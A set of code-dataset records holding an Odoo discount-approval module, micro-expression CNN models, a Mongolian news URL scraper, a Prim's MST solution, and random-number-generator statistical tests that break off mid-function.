SaleOrderDiscount(models.Model):\n _inherit = 'sale.order'\n state = fields.Selection(\n selection_add=[('waiting_for_approval', 'Waiting For Approval'),\n ('sale',)])\n approval_user_id = fields.Many2one('res.users',\n string='Discount Approved By')\n\n @api.depends('order_line.price_total')\n def action_confirm(self):\n \"\"\"Method for confirming the sale order discount and sending mail for the approvar if approval limit crossed\"\"\"\n\n res = super(SaleOrderDiscount, self).action_confirm()\n to_approve = False\n\n\n discount_vals = self.order_line.mapped('total_discount')\n\n approval_users = self.env.ref(\n 'sale_order_discount_approval_odoo.group_approval_manager').users\n user_discount = self.env.user.allow_discount\n\n\n\n if self.env.user.discount_control == True:\n for order in self:\n for line in order.order_line:\n if line.price_unit - line.total_discount > user_discount:\n to_approve = True\n break\n\n\n #if to_approve == True and self.env.user.user_discount < (line.price_unit - line.total_discount)\n\n # @api.constrains('user_discount')\n # def _check_if_user_allowed(self):\n # if self.to_approve == True and self.user_discount < (line.price_unit - line.total_discount):\n # to_approve = True\n # raise ValidationError(\"Sorry but you're not allowed to confirm on such a high discount.\")\n\n if to_approve == True:\n display_id = self.id\n action_id = self.env.ref(\n 'sale.action_quotations_with_onboarding').id\n base_url = self.env['ir.config_parameter'].sudo().get_param(\n 'web.base.url')\n redirect_link = \"/web#id=%s&cids=1&menu_id=178&action=%s\" \\\n \"&model\" \\\n \"=sale.order&view_type=form\" % (\n display_id, action_id)\n url = base_url + redirect_link\n for user in approval_users:\n mail_body = \"\"\"\n

Hello,

\n

New sale order '%s' Created with Discount by '%s' \n need your approval on it.

\n

To Approve, Cancel Order, Click on the Following \n Link:\n Click Me\n

\n

Thank You.

\"\"\" % (self.name, self.env.user.name,\n url)\n mail_values = {\n 'subject': \"'%s' Discount Approval Request\" % (self.name),\n 'body_html': mail_body,\n 'email_to': user.partner_id.email,\n 'model': 'sale.order',\n }\n mail_id = self.env['mail.mail'].sudo().create(mail_values)\n mail_id.sudo().send()\n self.state = 'waiting_for_approval'\n return res\n\n # def action_waiting_approval(self):\n # \"\"\"Method for approving the sale order discount\"\"\"\n # self.approval_user_id = self.env.user.id\n # self.state = 'sale'\n\n\n\n def action_waiting_approval(self):\n \"\"\"Method for approving the sale order discount\"\"\"\n if self.env.user.allow_discount > self.amount_discount:\n self.state = 'sale'\n else:\n raise ValidationError(\"Sorry but you're not allowed to confirm on such a high discount.\")\n # to_approve = True\n\n\n","repo_name":"youssef-2coom/odd_backup","sub_path":"odoo/addons/sale_order_discount_approval_odoo/models/sale_order.py","file_name":"sale_order.py","file_ext":"py","file_size_in_byte":7536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"629880242","text":"from typing import List\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\n\r\nclass SSSNet(nn.Module):\r\n \"\"\"Shallow Single Stream network (SSSNet)\r\n\r\n Neural network model designed for micro-expression recognition.\r\n Uses two convolutional and two fully connected layers.\r\n\r\n Parameters\r\n ----------\r\n num_classes : int, default=3\r\n Size of the final fully connected layer, number of classes\r\n to be predicted.\r\n h_dims : sequence, default=[32, 64, 256]\r\n The dimensions of hidden layers.\r\n dropout : float, default=0.5\r\n Determines dropout value for both convolutional and fully\r\n connected layers.\r\n softmax: bool, default=False\r\n When true, softmax is applied after the first layer. Can\r\n Increase performance in some cases.\r\n\r\n References\r\n ----------\r\n :doi:`Varanka, T., Peng, W., and Zhao, G. (2021).\r\n \"Micro-expression recognition with noisy labels\".\r\n IS&T Int’l. Symp. on Electronic Imaging: Human Vision and\r\n Electronic Imaging, 33, 157-1 - 157-8.\r\n <10.2352/ISSN.2470-1173.2021.11.HVEI-157>`\r\n \"\"\"\r\n\r\n def __init__(\r\n self,\r\n num_classes: int = 3,\r\n h_dims: List[int] = [32, 64, 256],\r\n dropout: float = 0.5,\r\n softmax=False,\r\n **kwargs,\r\n ):\r\n super().__init__()\r\n self.num_classes = num_classes\r\n h1 = h_dims[0]\r\n h2 = h_dims[1]\r\n h3 = h_dims[2]\r\n self.conv1 = nn.Conv2d(in_channels=3, out_channels=h1, kernel_size=5, stride=1)\r\n self.pool = nn.MaxPool2d(kernel_size=3, stride=3)\r\n self.bn1 = nn.BatchNorm2d(h1)\r\n self.drop1 = nn.Dropout2d(dropout)\r\n\r\n self.conv2 = nn.Conv2d(in_channels=h1, out_channels=h2, kernel_size=3, stride=1)\r\n self.bn2 = nn.BatchNorm2d(h2)\r\n self.pool2 = nn.MaxPool2d(kernel_size=2, stride=2)\r\n self.drop2 = nn.Dropout2d(dropout)\r\n\r\n self.fc1 = nn.Linear(9**2 * h2, h3)\r\n self.drop3 = nn.Dropout(dropout)\r\n self.fc = nn.Linear(h3, num_classes)\r\n self.softmax = None\r\n if softmax:\r\n self.softmax = nn.Softmax(dim=1)\r\n\r\n def forward(self, x):\r\n x = self.drop1(self.bn1(self.pool(F.relu(self.conv1(x)))))\r\n x = self.drop2(self.bn2(self.pool2(F.relu(self.conv2(x)))))\r\n x = x.view(x.shape[0], -1)\r\n x = F.relu(self.fc1(x))\r\n x = self.fc(self.drop3(x))\r\n if self.softmax:\r\n x = self.softmax(x)\r\n return x\r\n\r\n\r\nclass STSTNet(nn.Module):\r\n \"\"\"Shallow Triple Stream Three-dimensional network (SSSNet)\r\n\r\n Neural network model designed for micro-expression recognition.\r\n Uses three convolutional and one fully connected layers.\r\n\r\n Parameters\r\n ----------\r\n in_channels : int, default=3\r\n The number of channels of the input tensor.\r\n num_classes : int, default=3\r\n Size of the final fully connected layer, number of classes\r\n to be predicted.\r\n\r\n References\r\n ----------\r\n :doi:`Liong, S., Gan, Y.S. , See, J., Khor, H. , Huang, Y. (2019).\r\n \"Shallow Triple Stream Three-dimensional CNN (STSTNet) for\r\n Micro-expression Recognition\".\r\n IEEE International Conference on Automatic Face & Gesture Recognition, 14, 1-5.\r\n <10.1109/FG.2019.8756567>`\r\n \"\"\"\r\n\r\n def __init__(self, in_channels: int = 3, num_classes: int = 3, **kwargs):\r\n super().__init__()\r\n self.conv1 = nn.Conv2d(in_channels, out_channels=3, kernel_size=3, padding=2)\r\n self.conv2 = nn.Conv2d(in_channels, out_channels=5, kernel_size=3, padding=2)\r\n self.conv3 = nn.Conv2d(in_channels, out_channels=8, kernel_size=3, padding=2)\r\n self.relu = nn.ReLU()\r\n self.bn1 = nn.BatchNorm2d(3)\r\n self.bn2 = nn.BatchNorm2d(5)\r\n self.bn3 = nn.BatchNorm2d(8)\r\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=3, padding=1)\r\n self.avgpool = nn.AvgPool2d(kernel_size=2, stride=2, padding=0)\r\n self.dropout = nn.Dropout(p=0.5)\r\n self.fc = nn.Linear(in_features=5 * 5 * 16, out_features=num_classes)\r\n\r\n def forward(self, x):\r\n x1 = self.dropout(self.maxpool(self.bn1(self.relu(self.conv1(x)))))\r\n x2 = self.dropout(self.maxpool(self.bn2(self.relu(self.conv2(x)))))\r\n x3 = self.dropout(self.maxpool(self.bn3(self.relu(self.conv3(x)))))\r\n x = torch.cat((x1, x2, x3), 1)\r\n x = self.avgpool(x)\r\n x = x.view(x.size(0), -1)\r\n x = self.fc(x)\r\n return x\r\n\r\n\r\nclass OffApexNet(nn.Module):\r\n \"\"\"Off-ApexNet\r\n\r\n Neural network model designed for micro-expression recognition\r\n using optical flow of apex and onset. Consists of two convolutional\r\n layers and two fully connected layers.\r\n\r\n Parameters\r\n ----------\r\n num_classes : int, default=3\r\n Size of the final fully connected layer, number of classes\r\n to be predicted.\r\n dropout : float, default=0.5\r\n Determines dropout value for both convolutional and fully\r\n connected layers.\r\n\r\n References\r\n ----------\r\n :doi:`Liong, S., Gan, Y.S. , Yau, W., Huang, Y.,Ken, T.L. (2019).\r\n \"OFF-ApexNet on micro-expression recognition system\".\r\n Signal Processing: Image Communication, 74, 129-139.\r\n <10.1016/j.image.2019.02.005>`\r\n \"\"\"\r\n\r\n def __init__(self, num_classes: int = 3, dropout: float = 0.5, **kwargs):\r\n super().__init__()\r\n self.conv1 = nn.Conv2d(\r\n in_channels=2, out_channels=6, kernel_size=3, stride=1, padding=1\r\n )\r\n self.pool = nn.MaxPool2d(kernel_size=2, stride=2)\r\n\r\n self.conv2 = nn.Conv2d(\r\n in_channels=6, out_channels=16, kernel_size=3, stride=1, padding=1\r\n )\r\n self.pool2 = nn.MaxPool2d(kernel_size=2, stride=2)\r\n\r\n self.fc1 = nn.Linear(7**2 * 16, 1024)\r\n self.drop = nn.Dropout(dropout)\r\n self.fc = nn.Linear(1024, num_classes)\r\n self.drop2 = nn.Dropout(dropout)\r\n\r\n def forward(self, x):\r\n x = self.pool(F.relu(self.conv1(x)))\r\n x = self.pool(F.relu(self.conv2(x)))\r\n\r\n x = x.view(x.shape[0], -1)\r\n\r\n x = F.relu(self.fc1(self.drop(x)))\r\n x = self.fc(self.drop2(x))\r\n return x\r\n","repo_name":"tvaranka/meb","sub_path":"meb/models/me_networks.py","file_name":"me_networks.py","file_ext":"py","file_size_in_byte":6228,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"32"} +{"seq_id":"74880144730","text":"# coding=utf-8\nimport os, re, json, random, socket\nimport urllib.request\nfrom bs4 import BeautifulSoup\n\n\n#爬虫参数\nheaders1 = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36'}\nheaders2 = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0'}\nsocket.setdefaulttimeout(10)#超时10s\n\n\n#存入获取的urls\nif not os.path.exists(os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + '/urls'):\n os.mkdir(os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + '/urls')\ndef save_urls(name, urls):\n save_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + '/urls/'+ name + '_new.txt'\n save_data = open(save_path, 'w')\n for i in urls:\n save_data.write(i)\n save_data.write('\\n')\n save_data.close() \n\n\n###获取http://mongol.cctv.com/的urls\n'''不同栏目地址:\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000251\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000253\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000255\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000257\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000259\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000263\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000265\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000271\n http://mongol.cctv.com/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000652\n'''\nurls_cctv=set()\nlist_cctv = ['100000251','100000253','100000255','100000257','100000259','100000263','100000265','100000271','100000652']\nfor j in list_cctv:\n try:\n url_json = 'http://mongol.cctv.com/contantroot/more/' + j + '.json'\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url_json,headers=headers)\n response = urllib.request.urlopen(req)\n jsonString = response.read()\n jsonObject = json.loads(jsonString.decode())\n for i in range(len(jsonObject)):\n totalpage = jsonObject[i]['totalpage']\n for page_num in range(totalpage, 0, -1):\n try:\n url_1 = 'http://mongol.cctv.com/contantroot/more/' + j + '_' + str(page_num) + '.json'\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url_1,headers=headers)\n response = urllib.request.urlopen(req)\n jsonString = response.read()\n jsonObject = json.loads(jsonString.decode())\n for i in range(len(jsonObject)):\n url_2 = 'http://mongol.cctv.com/'\n staticurl = jsonObject[i]['staticurl']\n uuid = jsonObject[i]['uuid']\n url_2 = url_2 + staticurl + '/' + uuid + '.html'\n urls_cctv.add(url_2) \n except:\n continue\n except:\n continue\nsave_urls('cctv', urls_cctv)\n\n\n###获取http://www.mongolcnr.cn/的urls\n'''不同栏目地址:\n http://www.mongolcnr.cn/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000051\n http://www.mongolcnr.cn/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000055\n http://www.mongolcnr.cn/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000057\n http://www.mongolcnr.cn/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000059\n http://www.mongolcnr.cn/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000061\n http://www.mongolcnr.cn/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000065\n http://www.mongolcnr.cn/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000071\n http://www.mongolcnr.cn/contantroot/c/ee11dcd1-0b6d-41cb-b6f6-62a3387bca7b.html?musk=100000093\n'''\nurls_cnr=set()\nlist_cnr = ['100000051','100000055','100000057','100000059','100000061','100000065','100000071','100000093']\nfor j in list_cnr:\n try:\n url_json = 'http://www.mongolcnr.cn/contantroot/more/'+ j + '.json'\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url_json,headers=headers)\n response = urllib.request.urlopen(req)\n jsonString = response.read()\n jsonObject = json.loads(jsonString.decode())\n for i in range(len(jsonObject)):\n totalpage = jsonObject[i]['totalpage']\n for page_num in range(totalpage, 0, -1):\n try:\n url_1 = 'http://www.mongolcnr.cn/contantroot/more/' + j + '_' + str(page_num) + '.json'\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url_1,headers=headers)\n response = urllib.request.urlopen(req)\n jsonString = response.read()\n jsonObject = json.loads(jsonString.decode())\n for i in range(len(jsonObject)):\n url_2 = 'http://www.mongolcnr.cn/'\n staticurl = jsonObject[i]['staticurl']\n uuid = jsonObject[i]['uuid']\n url_2 = url_2 + staticurl + '/' + uuid + '.html'\n urls_cnr.add(url_2) \n except:\n continue\n except:\n continue\nsave_urls('cnr', urls_cnr)\n\n\n###获取http://mongol.people.com.cn/的urls\n'''不同栏目地址:\n http://mongol.people.com.cn/306955/306999/index.html, http://mongol.people.com.cn/306955/307001/index.html\n http://mongol.people.com.cn/306955/307002/index.html, http://mongol.people.com.cn/306955/307003/index.html\n http://mongol.people.com.cn/306955/307004/index.html, http://mongol.people.com.cn/306955/307005/index.html\n http://mongol.people.com.cn/306955/307010/index.html, http://mongol.people.com.cn/306955/307011/index.html\n http://mongol.people.com.cn/306955/307031/index.html, http://mongol.people.com.cn/306955/307032/index.html\n http://mongol.people.com.cn/306955/309001/index.html, http://mongol.people.com.cn/306955/310698/index.html\n http://mongol.people.com.cn/306955/310704/index.html, http://mongol.people.com.cn/306955/310868/index.html\n'''\nurls_people=set()\nurls_people_mid=set()\nlist_people = ['306999','307001','307002','307003','307004','307005','307010','307011','307031','307032','309001','310698','310704','310868']\nfor i in list_people:\n for j in ['/index', '/index1']:\n url_1 = 'http://mongol.people.com.cn/306955/' + i + j + '.html'\n urls_people_mid.add(url_1)\nfor url in urls_people_mid:\n try:\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url,headers=headers)\n response = urllib.request.urlopen(req)\n soup = BeautifulSoup(response,'html.parser',from_encoding='utf-8')\n links=soup.find('div',class_='ej_center').find_all('a')\n for n in links:\n url_2 = n.get(\"href\")\n url_2 = 'http://mongol.people.com.cn' + url_2\n urls_people.add(url_2)\n except:\n continue\nsave_urls('people', urls_people)\n\n\n###获取http://mongol.people.com.cn/306956/的urls\n'''不同栏目地址:\n http://mongol.people.com.cn/306956/306963/index.html, http://mongol.people.com.cn/306956/306964/index.html\n http://mongol.people.com.cn/306956/306965/index.html, http://mongol.people.com.cn/306956/306967/index.html\n http://mongol.people.com.cn/306956/306966/index.html, http://mongol.people.com.cn/306956/308678/index.html\n'''\nurls_cpc=set()\nurls_cpc_mid=set()\nlist_cpc = ['306963','306964','306965','306967','306966','308678']\nfor i in list_cpc:\n for j in ['/index', '/index3', '/index2', '/index1']:\n url_1 = 'http://mongol.people.com.cn/306956/' + i + j + '.html'\n urls_cpc_mid.add(url_1)\nfor url in urls_cpc_mid:\n try:\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url,headers=headers)\n response = urllib.request.urlopen(req)\n soup = BeautifulSoup(response,'html.parser',from_encoding='utf-8')\n links=soup.find_all('a')\n for n in links:\n url_2 = n.get(\"href\")\n if re.match(r'^/\\d{8}\\.html$', url_2):\n url_2 = 'http://mongol.people.com.cn' + url_2\n urls_cpc.add(url_2)\n except:\n continue\n#人民网和中国共产党新闻网有部分网页重复,需加去重操作\nurls_people_old = set()\ntry:\n people_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + '/urls/people_url.txt'\n people_data = open(people_path, 'r')\n for line in people_data:\n urls_people_old.add(line[:-1])\n people_data.close()\nexcept:\n pass\nurls_cpc_need = urls_cpc - urls_people - urls_people_old\nsave_urls('cpc', urls_cpc_need)\n\n\n###获取http://www.nmg.xinhuanet.com/mg/的urls\n'''不同栏目地址:\n http://mongolian.news.cn/ls/gnxw.htm, http://mongolian.news.cn/ls/gjxw.htm, http://mongolian.news.cn/ls/yw.htm\n http://mongolian.news.cn/ls/zz.htm, http://mongolian.news.cn/ls/jj.htm, http://mongolian.news.cn/ls/jy.htm\n http://mongolian.news.cn/ls/wh.htm, http://mongolian.news.cn/ls/sh.htm, http://mongolian.news.cn/ls/jk.htm\n http://mongolian.news.cn/ls/ndm.htm, http://mongolian.news.cn/ls/bsq.htm, http://mongolian.news.cn/ls/xx.htm\n'''\nurls_xinhua=set()\nurls_xinhua_mid=set()\nlist_xinhua = ['gnxw','gjxw','yw','zz','jj','jy','wh','sh','jk','ndm','bsq','xx']\nfor i in list_xinhua:\n url = 'http://mongolian.news.cn/ls/' + i +'.htm'\n urls_xinhua_mid.add(url)\nfor url in urls_xinhua_mid:\n try:\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url,headers=headers)\n response = urllib.request.urlopen(req)\n soup = BeautifulSoup(response,'html.parser',from_encoding='utf-8')\n links=soup.find('ul', id='list-content').find_all('a')\n for n in links:\n url_1 = n.get(\"href\")\n urls_xinhua.add(url_1)\n except:\n continue\nsave_urls('xinhua', urls_xinhua)\n\n \n###获取http://www.xingandaily.com/的urls\n'''不同栏目地址:\n http://www.xingandaily.com/mdls/am/alv.aspx?pid=0&alias=xingandaily&mid=9831&wv=U\n http://www.xingandaily.com/mdls/am/alv.aspx?pid=0&alias=xingandaily&mid=9881&wv=U\n http://www.xingandaily.com/mdls/am/alv.aspx?pid=0&alias=xingandaily&mid=9883&wv=U\n http://www.xingandaily.com/mdls/am/alv.aspx?pid=0&alias=xingandaily&mid=9886&wv=U\n http://www.xingandaily.com/mdls/am/alv.aspx?pid=0&alias=xingandaily&mid=9887&wv=U\n http://www.xingandaily.com/mdls/am/alv.aspx?pid=0&alias=xingandaily&mid=9888&wv=U\n http://www.xingandaily.com/mdls/am/alv.aspx?pid=0&alias=xingandaily&mid=9889&wv=U\n'''\nurls_xingan=set()\nurls_xingan_mid=set()\nlist_xingan = ['9831','9881','9883','9886','9887','9888','9889']\nfor i in list_xingan:\n url = 'http://www.xingandaily.com/mdls/am/alv.aspx?pid=0&alias=xingandaily&mid=' + i +'&wv=U'\n urls_xingan_mid.add(url)\nfor url in urls_xingan_mid:\n try:\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url,headers=headers)\n response = urllib.request.urlopen(req)\n soup = BeautifulSoup(response,'html.parser',from_encoding='utf-8')\n links=soup.find_all('span')\n for n in links:\n span_txt = n.get_text()\n if span_txt.isdigit():\n totalpage = span_txt\n totalpage = int(totalpage)\n for page_num in range(totalpage, -1, -1):\n try:\n params = urllib.parse.urlencode({\n 'ctl00$cph$ctl02':page_num,\n '__VIEWSTATE':'/wEPDwUKLTMxNTY2Njc3OA9kFgJmD2QWAgIED2QWAgIBD2QWBAIDD2QWBAIDDxYCHgdWaXNpYmxlaGQCBw8WAh8AaBYCZg8VAQBkAgUPZBYEAgEPDxYCHgRUZXh0BV7ujJXuib7ui5zuipHui7ruiagg7oux7om27oyT7om27our7om1IC0gIO6Lvu6Kie6Kt+6Jvu6KtSDui7HuibbujJPuibbui6vuibjuirXuiaPuiqMg7oyJ7oqp7ouDZGQCBQ8PFgIeC1JlY29yZENvdW50BQQ2Njc4ZBYCAgMPDxYCHwEFATFkZBgBBRljdGwwMCRUQmFubmVyJFBvcnRhbFBhZ2VzDxQrAA5kZGZkZGRkPCsAEQACEWRkZGYC/////w9kVOEYFP3mlYLSYJOz4XCNG00d0W3DXrq00UDr/ae4+84='\n }).encode('utf-8')\n if(random.randint(0,1)):\n headers = headers1\n else:\n headers = headers2\n req = urllib.request.Request(url=url,data=params,headers=headers)\n response = urllib.request.urlopen(req)\n soup = BeautifulSoup(response,'html.parser',from_encoding='utf-8')\n links=soup.find('div',id='mk_mr_ctt_tp').find_all('a')\n for n in links:\n url_2 = n.get(\"href\")\n url_2 = 'http://www.xingandaily.com' + url_2\n urls_xingan.add(url_2)\n except:\n continue\n except:\n continue\nsave_urls('xingan', urls_xingan)\n\n","repo_name":"evilbear/crawler_code","sub_path":"mgw/get_urls.py","file_name":"get_urls.py","file_ext":"py","file_size_in_byte":13646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"14581753715","text":"import sys, heapq\n\n\ndef prim(s):\n visit = [0] * V\n ans = 0\n heap = []\n heapq.heappush(heap, (0, s))\n while heap:\n w, v = heapq.heappop(heap)\n if visit[v]: continue\n visit[v] = 1\n ans += w\n for u, w in graph[v]:\n heapq.heappush(heap, (w, u))\n print(ans)\n\n\nINF = sys.maxsize\nV, E = map(int, input().split())\ngraph = [[] for _ in range(V)]\nfor _ in range(E):\n A, B, C = map(int, input().split())\n graph[A - 1].append((B - 1, C))\n graph[B - 1].append((A - 1, C))\nprim(0)\n","repo_name":"dannyp0930/algorithm","sub_path":"baekjoon/1197_최소스패닝트리.py","file_name":"1197_최소스패닝트리.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34028005636","text":"from itertools import islice, groupby, permutations\nfrom collections import Counter, defaultdict\nfrom numpy import sqrt\nfrom scipy.stats import chi2, norm\nfrom math import factorial\n\nA = [[4529.4, 9044.9, 13568, 18091, 22615, 27892],\n [9044.9, 18097, 27139, 36187, 45234, 55789],\n [13568, 27139, 40721, 54281, 67852, 83685],\n [10891, 36187, 54281, 72414, 90470, 111580],\n [22615, 45234, 67852, 90470, 113262, 139476],\n [27892, 55789, 83685, 111580, 139476, 172860]]\n\nB = [1 / 6, 5 / 24, 11 / 120, 19 / 720, 29 / 5040, 1 / 890]\n\n\ndef main():\n count = 1000\n mod = 997\n first_sequence = list(islice(create_lcg(mod, 53, 101, 1), 0, count))\n second_sequence = list(islice(create_lcg(mod, 771, 103, 37), 0, count))\n binary_fibonacci = get_binary_fibonacci_string(count)\n plexus_sequence = [first_sequence[i] if binary_fibonacci[i] == '1' else second_sequence[i] for i in range(count)]\n messages = ['Первая', 'Вторая', 'Сплетенная']\n sequences = [first_sequence, second_sequence, plexus_sequence]\n for i in range(len(sequences)):\n print(f'-------------- {messages[i]} последовательность --------------')\n kolmogorov_smirnov_test(sequences[i], mod)\n chi_squared_test(sequences[i], mod, 10)\n gap_test(sequences[i], mod)\n poker_test(sequences[i], mod)\n serial_test(sequences[i], mod)\n permutation_test(sequences[i])\n runs_up_down_test(sequences[i])\n runs_up_length_test(sequences[i])\n runs_down_length_test(sequences[i])\n\n\ndef kolmogorov_smirnov_test(random_list, mod):\n length = len(random_list)\n sorted_random_list = sorted(map(lambda x: x / mod, random_list))\n d_plus = max(map(lambda i: (i + 1) / length - sorted_random_list[i], range(length)))\n d_minus = max(map(lambda i: sorted_random_list[i] - i / length, range(length)))\n d_stat = max(d_plus, d_minus)\n critical_value = 1.36 / sqrt(length)\n if d_stat > critical_value:\n print(\"По тесту Колмогорова-Смирнова данная последовательность не является случайной\")\n else:\n print(\"По тесту Колмогорова-Смирнова нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef chi_squared_test(random_list, mod, intervals_count):\n frequencies = defaultdict(int)\n frequencies.update(\n map(lambda z: (z[0], len(list(z[1]))), groupby(sorted(map(lambda x: x / mod, random_list)), lambda y: int(y * intervals_count))))\n expected = len(random_list) / intervals_count\n chi_square = sum(map(lambda x: (frequencies[x] - expected) ** 2 / expected, range(intervals_count)))\n critical_value = chi2.ppf(0.95, intervals_count - 1)\n if chi_square > critical_value:\n print(\"По тесту Хи-квадрат данная последовательность не является случайной\")\n else:\n print(\"По тесту Хи-квадрат нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef calculate_gaps_length(random_list):\n current_gaps = defaultdict(int)\n result_gaps = list()\n for number in random_list:\n for i in current_gaps.keys():\n if i != number:\n current_gaps[i] += 1\n if current_gaps[number] != 0:\n result_gaps.append(current_gaps[number])\n current_gaps[number] = 0\n return Counter(result_gaps)\n\n\ndef gap_test(random_list, mod):\n gaps = defaultdict(int)\n gaps.update(calculate_gaps_length(random_list))\n gaps_count = sum(gaps.values())\n gap_length = 4\n current_gap_min_length = 0\n cumulative_gaps_count = 0\n max_difference = -1\n while cumulative_gaps_count < gaps_count:\n next_gap_min_length = current_gap_min_length + gap_length\n cumulative_gaps_count += sum(gaps[i] for i in range(current_gap_min_length, next_gap_min_length))\n current_difference = abs(cumulative_gaps_count / gaps_count - (1 - (1 - 1 / mod) ** next_gap_min_length))\n if current_difference > max_difference:\n max_difference = current_difference\n current_gap_min_length = next_gap_min_length\n critical_value = 1.36 / sqrt(len(random_list))\n if max_difference > critical_value:\n print(\"По GAP тесту данная последовательность не является случайной\")\n else:\n print(\"По GAP тесту нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef create_poker_values(mod):\n if mod < 10 or mod > 1000:\n raise ValueError(\"В данный момент покер-тест поддерживает модуль не больше 1000 и не меньше 10\")\n if mod <= 100:\n pair_digits = int((mod - 1) / 11)\n return 10 / mod, (mod - 10 - pair_digits) / mod, pair_digits / mod\n\n triple_digits = (mod - 1) // 111\n pair_digits = ((mod - 1) // 100 - 1) * 27 + ((mod - 1) % 100 // 10) * 2\n if (mod - 1) // 10 % 11 == 0:\n pair_digits += (mod - 1) % 10 + 1\n if (mod - 1) % 10 >= (mod - 1) // 100:\n pair_digits -= 1\n else:\n if (mod - 1) // 10 % 10 > (mod - 1) // 100:\n pair_digits += 7\n if (mod - 1) % 10 >= (mod - 1) // 10 % 10:\n pair_digits += 1\n if (mod - 1) % 10 >= (mod - 1) // 100:\n pair_digits += 1\n different_digits = mod - 100 - triple_digits - pair_digits\n\n return 100 / mod, different_digits / mod, pair_digits / mod, triple_digits / mod\n\n\ndef calculate_poker_counts_three_digits(numbers):\n result = [0, 0, 0, 0]\n for i in numbers:\n if i < 100:\n result[0] += 1\n elif i % 111 == 0:\n result[3] += 1\n else:\n digits = set()\n while i > 0:\n digits.add(i % 10)\n i //= 10\n if len(digits) == 3:\n result[1] += 1\n else:\n result[2] += 1\n return result\n\n\ndef poker_test(random_list, mod):\n if mod <= 100:\n poker_test_two_digits(random_list, mod)\n else:\n poker_test_three_digits(random_list, mod)\n\n\ndef poker_test_two_digits(random_list, mod):\n expected_poker_counts = None\n try:\n expected_poker_counts = [i * len(random_list) for i in create_poker_values(mod)]\n except ValueError as err:\n print(err)\n return\n poker_values_count = len(expected_poker_counts)\n pair_numbers = len(list(filter(lambda x: x != 0 and x % 11 == 0, random_list)))\n one_digit_numbers = len(list(filter(lambda x: x < 10, random_list)))\n not_pair_numbers = len(random_list) - pair_numbers - one_digit_numbers\n actual_poker_counts = one_digit_numbers, not_pair_numbers, pair_numbers\n chi_square = sum(map(lambda x: (actual_poker_counts[x] - expected_poker_counts[x]) ** 2 / expected_poker_counts[x], range(poker_values_count)))\n critical_value = chi2.ppf(0.95, poker_values_count - 1)\n if chi_square > critical_value:\n print(\"По покер-тесту данная последовательность не является случайной\")\n else:\n print(\"По покер-тесту нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef poker_test_three_digits(random_list, mod):\n expected_poker_counts = None\n try:\n expected_poker_counts = [i * len(random_list) for i in create_poker_values(mod)]\n except ValueError as err:\n print(err)\n return\n poker_values_count = len(expected_poker_counts)\n actual_poker_counts = calculate_poker_counts_three_digits(random_list)\n chi_square = sum(map(lambda x: (actual_poker_counts[x] - expected_poker_counts[x]) ** 2 / expected_poker_counts[x], range(poker_values_count)))\n critical_value = chi2.ppf(0.95, poker_values_count - 1)\n if chi_square > critical_value:\n print(\"По покер-тесту данная последовательность не является случайной\")\n else:\n print(\"По покер-тесту нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef serial_test(random_list, mod):\n counter_cells = Counter([(random_list[2 * i], random_list[2 * i + 